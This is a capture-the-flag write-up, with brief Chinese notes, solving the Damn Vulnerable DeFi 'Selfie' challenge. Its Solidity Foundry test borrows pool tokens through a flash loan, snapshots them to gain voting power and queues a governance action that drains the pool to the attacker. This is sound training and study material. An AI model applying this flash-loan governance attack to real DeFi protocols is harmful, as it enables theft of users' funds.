Skip to main content

Description

A new cool lending pool has launched! It’s now offering flash loans of DVT tokens. It even includes a fancy governance mechanism to control it.

What could go wrong, right ?

You start with no DVT tokens in balance, and the pool has 1.5 million. Your goal is to take them all.

Code

SelfiePool.sol : 提供闪电贷 SimpleGovernance.sol:治理代币合约,可以设置action操作,时间到了自动执行

Solution

通过闪电贷,获得足够的token,从而可以设置Action,到时间自动执行。

Exp

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;

import {Utilities} from "../../utils/Utilities.sol";
import "forge-std/Test.sol";

import {DamnValuableTokenSnapshot} from "../../../src/Contracts/DamnValuableTokenSnapshot.sol";
import {SimpleGovernance} from "../../../src/Contracts/selfie/SimpleGovernance.sol";
import {SelfiePool} from "../../../src/Contracts/selfie/SelfiePool.sol";
import {Address} from "openzeppelin-contracts/utils/Address.sol";


contract Executor {
using Address for address payable;

SimpleGovernance governance;
SelfiePool pool;
address owner;
uint256 public drainActionId;

constructor(SimpleGovernance _governance, SelfiePool _pool) {
owner = msg.sender;
governance = _governance;
pool = _pool;
}

function receiveTokens(address tokenAddress, uint256 borrowAmount) external payable {
require(msg.sender == address(pool), "only pool");

bytes memory data = abi.encodeWithSignature(
"drainAllFunds(address)",
address(owner)
);

DamnValuableTokenSnapshot(tokenAddress).snapshot();

drainActionId = governance.queueAction(address(pool), data, 0);

// transfer back funds
DamnValuableTokenSnapshot(tokenAddress).transfer(address(pool), borrowAmount);
}

function borrow(uint256 borrowAmount) external {
require(msg.sender == owner, "only owner");
pool.flashLoan(borrowAmount);
}

}

contract SelfieTest is BaseTest {

uint256 TOKEN_INITIAL_SUPPLY = 2000000 ether; // 2 million tokens
uint256 TOKENS_IN_POOL = 1500000 ether; // 1.5 million tokens

DamnValuableTokenSnapshot token;
SimpleGovernance governance;
SelfiePool pool;

address attacker;

constructor() {
string[] memory labels = new string[](1);
labels[0] = "Attacker";

preSetup(1, labels);
}

function setUp() public override {
super.setUp();

attacker = users[0];

// setup contracts
token = new DamnValuableTokenSnapshot(TOKEN_INITIAL_SUPPLY);
vm.label(address(token), "DamnValuableTokenSnapshot");

governance = new SimpleGovernance(address(token));
vm.label(address(governance), "SimpleGovernance");

pool = new SelfiePool(address(token), address(governance));
vm.label(address(pool), "SelfiePool");

token.transfer(address(pool), TOKENS_IN_POOL);

assertEq(token.balanceOf(address(pool)), TOKENS_IN_POOL);
}


function test_Exploit() public {
runTest();
}

function exploit() internal override {
/** CODE YOUR EXPLOIT HERE */

vm.startPrank(attacker);
Executor executor = new Executor(governance, pool);
executor.borrow(TOKENS_IN_POOL);
vm.stopPrank();

// warp time to be able to execute the drain action
utils.mineTime(governance.getActionDelay());
governance.executeAction(executor.drainActionId());
}

function success() internal override {
/** SUCCESS CONDITIONS */

assertEq(token.balanceOf(attacker), TOKENS_IN_POOL);

assertEq(token.balanceOf(address(pool)), 0);
}
}